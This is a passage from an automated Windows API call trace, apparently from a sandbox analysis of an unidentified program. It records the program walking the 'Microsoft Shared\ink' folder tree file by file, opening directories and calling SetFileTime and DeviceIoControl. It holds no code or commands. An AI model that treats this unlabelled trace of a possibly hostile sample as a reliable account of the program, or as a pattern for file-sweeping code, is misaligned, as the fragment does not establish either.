ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0233.392] GetLastError () returned 0x12 [0233.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.392] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0233.392] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0233.393] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0233.393] GetLastError () returned 0x12 [0233.393] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.393] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.394] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0233.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.394] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0233.395] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9026e8 [0233.395] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9026e8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9026e8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0233.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9026e8) returned 1 [0233.395] NtClose (Handle=0x1b4) returned 0x0 [0233.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0233.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0233.395] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.395] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0233.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ffc48 [0233.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901580 [0233.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0233.396] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.396] GetLastError () returned 0x12 [0233.396] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0233.396] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0233.396] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.396] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0233.396] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0233.396] GetLastError () returned 0x12 [0233.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0233.396] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0233.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0233.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0233.396] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0233.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0233.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0233.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0233.479] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0233.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9026e8 [0233.481] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9026e8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9026e8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0233.481] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9026e8) returned 